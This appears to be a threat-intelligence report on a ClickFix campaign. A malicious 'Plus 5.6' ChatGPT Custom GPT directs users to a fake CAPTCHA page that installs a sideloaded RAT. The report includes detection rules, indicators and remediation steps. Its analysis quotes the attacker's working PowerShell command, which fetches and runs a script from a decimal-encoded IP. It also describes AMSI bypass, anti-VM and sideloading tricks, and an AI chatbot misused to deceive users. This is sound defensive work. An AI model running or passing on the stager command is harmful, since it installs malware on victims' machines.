Malicious ChatGPT Custom GPT "Plus 5.6" Used in ClickFix Campaign Delivering RAT via DLL Sideloading of Canon and Stardock Binaries

Key facts

Detection coverage

As of 2026-09-29, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2766 across Splunk SPL, Microsoft KQL and Sigma, covering 36 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: ClickFix PowerShell Stager Download from Decimal-Encoded IP (Plus 5.6 Custom GPT) — Exploitation

Detects the victim-pasted ClickFix command: powershell.exe / pwsh.exe running irm / iwr / Invoke-WebRequest against a decimal-encoded IPv4 host (1614733393 = 96.62.224.81) or the known staging IPs 96.62.224.81 and 45.140.205.28. This is the first host-visible step after the fake Cloudflare CAPTCHA on Google Sites, and it precedes the obfuscated stager and the malicious MSI.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1204.004, T1059.001, T1105, T1027
• Data sources: sysmon, windows_process_creation, microsoft_defender_for_endpoint
• Severity: high
• Confidence: high

Splunk SPL

```ClickFix stage-1: PowerShell pasted from a fake CAPTCHA that downloads a script from a decimal-encoded IP```
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-24h (Image="*\\powershell.exe" OR Image="*\\pwsh.exe") (CommandLine="*irm*" OR CommandLine="*iwr*" OR CommandLine="*Invoke-RestMethod*" OR CommandLine="*Invoke-WebRequest*" OR CommandLine="*1614733393*" OR CommandLine="*96.62.224.81*" OR CommandLine="*45.140.205.28*")
| eval known_ioc=if(match(CommandLine,"96\.62\.224\.81|45\.140\.205\.28|1614733393"),1,0)
| eval decimal_ip_dl=if(match(CommandLine,"(?i)(irm|iwr|invoke-restmethod|invoke-webrequest)\s+\W?(https?://)?\d{8,10}\b"),1,0)
| where known_ioc=1 OR decimal_ip_dl=1
| stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as command_lines values(ParentImage) as parent_images by host, User
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("irm", "iwr", "Invoke-RestMethod", "Invoke-WebRequest", "1614733393", "96.62.224.81", "45.140.205.28")
| extend KnownIoc = ProcessCommandLine has_any ("1614733393", "96.62.224.81", "45.140.205.28")
| extend DecimalIpDownload = ProcessCommandLine matches regex @"(?i)(irm|iwr|invoke-restmethod|invoke-webrequest)\s+\W?(https?://)?\d{8,10}\b"
| where KnownIoc or DecimalIpDownload
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, KnownIoc, DecimalIpDownload

Sigma

title: ClickFix PowerShell Stager Download from Decimal-Encoded IP
id: 1d7e3c5a-92b4-4f60-8a1d-6c0b3e9f2a41
status: experimental
description: Detects PowerShell using irm/iwr/Invoke-WebRequest against a decimal-encoded IPv4 host (for example 1614733393 which is 96.62.224.81) or the known Plus 5.6 Custom GPT ClickFix staging IPs.
references:
  - https://www.huntress.com/blog/chatgpt-custom-gpts-clickfix-rat
  - https://attack.mitre.org/techniques/T1204/004/
author: Threadlinqs Team
date: 2026-09-29
tags:
  - attack.execution
  - attack.t1204.004
  - attack.t1059.001
  - attack.command-and-control
  - attack.t1105
  - attack.defense-evasion
  - attack.t1027
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_ioc:
    CommandLine|contains:
      - '1614733393'
      - '96.62.224.81'
      - '45.140.205.28'
  selection_decimal_ip:
    CommandLine|re: '(?i)(irm|iwr|invoke-restmethod|invoke-webrequest)\s+\W?(https?://)?\d{8,10}\b'
  condition: selection_img and (selection_ioc or selection_decimal_ip)
falsepositives:
  - Administrators or scripts that legitimately download from an IP address written in decimal form (very rare)
level: high

Known false positives:

• Red-team or admin scripts that fetch from a decimal-notation IP for testing
• Legacy deployment scripts using irm/iwr against internal hosts referenced by an 8-10 digit number

Tuning notes: The decimal-IP regex is the durable signal because the operator can rotate the server address; the IOC branch only covers 96.62.224.81 and 45.140.205.28. Ensure process command-line auditing (Sysmon EID 1 or Security 4688 with command line) is enabled. Add ParentImage=explorer.exe to raise priority for Run-dialog paste.

• 🔒 PowerShell Spawning Silent msiexec from Temp GUID-Named MSI (ISOSimple / IconEdit2Turb) — Exploitation · unlock with TL Creds
• 🔒 Plus 5.6 RAT Staged Payload Files (Sideload DLLs, WAV/RAW Carriers, GOMCam2024) — Post-Exploitation · unlock with TL Creds
• 🔒 Network Contact with Plus 5.6 ClickFix Staging Infrastructure and Community Sibling Domains — C2 · unlock with TL Creds
• 🔒 Signed Canon/Stardock Host Sideloading Unsigned or Known-Bad DLL from AppData — Exploitation · unlock with TL Creds
• 🔒 PowerShell Script Block Stripping Mark-of-the-Web Before MSI Install — Post-Exploitation · unlock with TL Creds
• 🔒 Sideload Host Spawning Child Processes or Payloads from AppstorageFile — C2 Tasking / Lateral Execution · unlock with TL Creds
• 🔒 Canon/Stardock-Themed Run Key and Scheduled Task Persistence — Post-Exploitation · unlock with TL Creds
• 🔒 Sideload Host Process Making Public Outbound / DoH Connections — C2 · unlock with TL Creds

Indicators of compromise

As of 2026-09-29, Threadlinqs Intelligence tracks 36 indicators of compromise for TL-2026-2766.

Sample indicators (3 of 36)

• IP address: 96.62.224[.]81
• URL: hxxps://sites[.]google[.]com/view/antibot172881
• File hash: 14e3376befd4b7b52de0757b6264da294ac6b0f9e4ff51cb9bc5b19b243fe335

Defanged, TLP:CLEAR. Full set of 36 indicators: unlock with TL Creds.

Technical analysis

Huntress researchers documented a ClickFix campaign in which a trusted chatgpt.com-hosted Custom GPT is the first stage. Victims arrive via Google paid ads (with tracking parameters) at a Custom GPT titled "Plus 5.6", impersonating a ChatGPT model. The GPT is instructed to tell users the primary domain has "limited availability" and to visit a "backup domain", a Google Sites page (sites.google.com/view/antibot172881) that mimics a Cloudflare CAPTCHA with ChatGPT branding and prompts the user to paste and run a PowerShell command. Huntress SOC traced at least 40 incidents to the Google Sites domain, of which two were confirmed to come through a Custom GPT.

The pasted command is `PowerShell.exe -ExecutionPolicy Bypass "irm 1614733393/12 | Out-File $env:temp\1777.ps1;& $env:temp\1777.ps1"`, where 1614733393 is the decimal form of 96.62.224.81. The downloaded script (e.g. 6469.ps1 in V1, 5689.ps1 in V2) is heavily obfuscated with two layers of integer-based encoding (3,036 negative integers decoded by adding key 1520498; a second layer uses key 6178128) and downloads an MSI (ISOSimple.msi, display name "Advanced Printer Configuration Reader") from the same server, executed silently with msiexec /qn /norestart from a %TEMP%\<32 hex>_ISOSimple.msi path. The MSI installs 177 files under %LOCALAPPDATA%\Programs\ with ARPSYSTEMCOMPONENT=1 to hide it from Programs and Features, and launches the signed Canon CaptureOnTouch host COTFileReadApp.exe, which loads a patched ceiinfolog.dll (signature stripped, header checksum modified) that imports a malicious rdCore.dll (fake Polly version info). Additional helper DLLs WPFLocalizeExtension.dll (fake open-source version info) and WMPCL.dll ship alongside. The loader reads an encrypted shellcode blob hidden in a valid RIFF/WAVE file (Common.Integrator.Preview.wav, XOR-encrypted shellcode at offset 0x24362), applies an AMSI bypass, hosts the CLR, unhooks ntdll, and performs anti-VM checks (VMware, VirtualBox, Hyper-V, QEMU, Xen, Parallels) before decrypting monitor.raw, a custom encrypted file-system archive (1,128 entries) that holds a persistence script and the final ~1.58 MB position-independent RAT.

Persistence is an HKCU Run value plus a scheduled task, both named "Canon Configuration Reader", which a shutdown-monitoring script recreates (Run key checked about every 150 seconds, task about every 875 seconds). The RAT supports remote desktop sessions and screen broadcast, camera/microphone/system-audio capture, enumeration of 17 browsers, content-based file search, host reconnaissance (AV/Defender status via WMI, domain and domain-controller info, network adapters, open ports, installed software, Windows features, hardware fingerprint), C2 address resolution via DNS-over-HTTPS (Cloudflare, Google, Quad9) so no local DNS logging occurs, and execution of EXE, DLL (rundll32/regsvcs), MSI, PowerShell, batch, VBScript, JScript and ZIP payloads. Huntress frequently observed follow-on deployment of GOMCam2024.exe to %LOCALAPPDATA%\AppstorageFile\.

OpenAI removed the first Custom GPT by 2026-09-25 after Huntress reported it, but a replacement Custom GPT with the same title stayed active. A second variant found around 2026-09-27 swaps the host to Stardock's DeElevate64.exe (MSI IconEdit2Turb.msi, "Stardock Smart DeElevation Tool"), a patched DeElevator64.dll importing I++u.dll (fake SharpCompress info) with helper DLLs senddmp.resources.dll and res.dll, a NuGet-package-disguised loader carrier (Build.dat), the archive execute_engine_disconnect.raw, and a persistence name of "Stardock DeElevation Tool". Its stager is a two-stage script with a spoofed Chrome user agent, fresh obfuscation per request, and Mark-of-the-Web stripping before MSI execution. A third MSI (UltraFreeISOCreateWizardSolution.msi) was seen on the delivery server on 2026-09-23 but was not obtained. The malware family is unnamed in the sources and no actor attribution is given.

MITRE ATT&CK techniques by tactic:

Discovery

T1016 System Network Configuration Discovery; T1046 Network Service Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery; T1217 Browser Information Discovery; T1518.001 Security Software Discovery

Defense Evasion

T1027 Obfuscated Files or Information; T1027.003 Steganography; T1036.005 Match Legitimate Resource Name or Location; T1140 Deobfuscate/Decode Files or Information; T1218.007 Msiexec; T1218.011 Rundll32; T1497.001 System Checks; T1564.001 Hidden Files and Directories; T1574.001 DLL; T1620 Reflective Code Loading

Persistence

T1053.005 Scheduled Task; T1547.001 Registry Run Keys / Startup Folder; T1574.002 Hijack Execution Flow

Execution

T1059.001 PowerShell; T1204.004 Malicious Copy and Paste

Command and Control

T1071.004 DNS; T1105 Ingress Tool Transfer; T1219.002 Remote Desktop Software

Collection

T1113 Screen Capture; T1123 Audio Capture; T1125 Video Capture

defense-impairment

T1553.005 Mark-of-the-Web Bypass; T1685 Disable or Modify Tools

Resource Development

T1583.008 Malvertising

Remediation

Immediate actions

• Block 96.62.224.81 and 45.140.205.28 and alert on HTTP requests to the decimal-IP host 1614733393
• Hunt for powershell.exe spawning msiexec.exe /i against %TEMP%\<GUID>_*.msi with /qn /norestart
• Hunt for COTFileReadApp.exe or DeElevate64.exe running from %LOCALAPPDATA%\Programs\ and for an unsigned ceiinfolog.dll or DeElevator64.dll beside them
• Remove HKCU Run values and scheduled tasks named 'Canon Configuration Reader' or 'Stardock DeElevation Tool' only after isolating the host, because the implant recreates them
• Isolate affected hosts and treat browser-stored credentials as compromised

Workarounds

• Block or gate access to sites.google.com/view/* for endpoints where it is not required
• Application-control policy (WDAC/AppLocker) to block MSI installs and executables from %LOCALAPPDATA%\Programs by non-admin users

Longer-term hardening

• Train users that no legitimate CAPTCHA or AI-model page asks them to paste commands into the Windows Run dialog or PowerShell
• Restrict PowerShell (Constrained Language Mode, script block logging) and disable the Win+R Run dialog where feasible
• Add detections for unsigned or checksum-modified DLLs loaded by signed vendor executables running from user-writable paths
• Review paid-ad and AI-assistant link exposure in web filtering policy

Affected and fixed versions

• Microsoft — Windows
  Vulnerable versions: Windows endpoints where users can run PowerShell and install per-user MSI packages
• OpenAI — ChatGPT Custom GPTs (abused as a lure-hosting platform)
• Canon — CaptureOnTouch (COTFileReadApp.exe, signed binary abused for DLL sideloading)
• Stardock — SmartDeElevation (DeElevate64.exe, signed binary abused for DLL sideloading)

Timeline

Last updated 2026-09-29 · revalidated 1× · latest source

• 2026-09-23 Third MSI lure (UltraFreeISOCreateWizardSolution.msi) observed on the same delivery server (1614733393 / locked-ioc-33); not obtained for analysis.
• 2026-09-24 Compilation timestamp (22:46 UTC) of the malicious loader DLLs analysed by Huntress.
• 2026-09-25 A second 'Plus 5.6' Custom GPT with the same title remained active after the first was taken down, continuing to funnel victims to the Google Sites ClickFix page.
• 2026-09-25 OpenAI removed the first malicious 'Plus 5.6' Custom GPT after Huntress reported it.
• 2026-09-27 Replacement 'Plus 5.6' Custom GPT found active, delivering the same RAT via Stardock DeElevate64.exe sideloading (IconEdit2Turb.msi, Build.dat, execute_engine_disconnect.raw).
• 2026-09-28 Huntress published its technical write-up of the eight-stage chain, documenting at least 40 incidents traced to the Google Sites domain and two confirmed via a Custom GPT.
• 2026-09-29 Media coverage (Cyber Security News, IT Security Guru, Cryptika, Mallory) amplified the Huntress research; the replacement Custom GPT was still reported active at time of publication.
• 2026-12-11 OpenAI's announced date to retire Custom GPTs entirely (per BleepingComputer), which would remove this lure host.

Update history

• 2026-09-29 — Malicious Custom ChatGPTs ("Plus 5.6") Push ClickFix Attack Chain to Deploy Sideloaded RAT: What changed No severity/exploitability/status change; both remain HIGH / ACTIVE. New indicators (2) Indicator values are withheld at this access level.

Sources cited

• MITRE ATT&CK T1204.004 Malicious Copy and Paste MITRE · Advisory · 2026-09-29
• MITRE ATT&CK T1574.002 DLL Side-Loading MITRE · Advisory · 2026-09-29
• Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix (Huntress) Huntress · Research · 2026-09-28
• Hackers Weaponizing ChatGPT's Custom GPT Feature to Trick Victims into Installing Malware (Cyber Security News) cybersecuritynews.com · News · 2026-09-29
• Attackers weaponise ChatGPT Custom GPTs to deliver RAT via eight-stage ClickFix chain (IT Security Guru) itsecurityguru.org · News · 2026-09-29
• Hackers Using ChatGPT's Custom GPT feature to Trick Victims into Installing Malware (Cryptika) cryptika.com · News · 2026-09-29
• Malicious ChatGPT Custom GPT Ads Deliver ClickFix RAT (Mallory) mallory.ai · News · 2026-09-29

More in malware

• ClickFix in the Wild: New RATs (CrashHandler, CrocoRat), Stripe-Based C2, and Signed Google Tool Abused to Weaken Microsoft Defender
• Predator, Pegasus and Graphite Mercenary Spyware: Government-Linked Abuse Against Journalists, Activists and Politicians in Europe with Little Accountability
• ArcticRAT Android RAT Uses Fake VPN Tunnel to Evade Google Play Protect and xAI Grok for Financial Triage
• Hackers Hijack Microsoft SQL Servers Using T-SQL Commands to Install Gh0st RAT and Crypto Miners
• AccuraSoftHire Fake Interview Campaign: PolinRider Loader Delivered via Malicious Tailwind npm Look-alikes and Fake Camera Driver to Developer Machines

Previous and next in malware

• Remcos RAT phishing campaign disguised as project material purchase requests exploits CVE-2017-0199 against Korean companies Previous report
• OpenSUpdater Malware Hides Reflective Loader Inside Recompiled 7-Zip SFX Installers Next report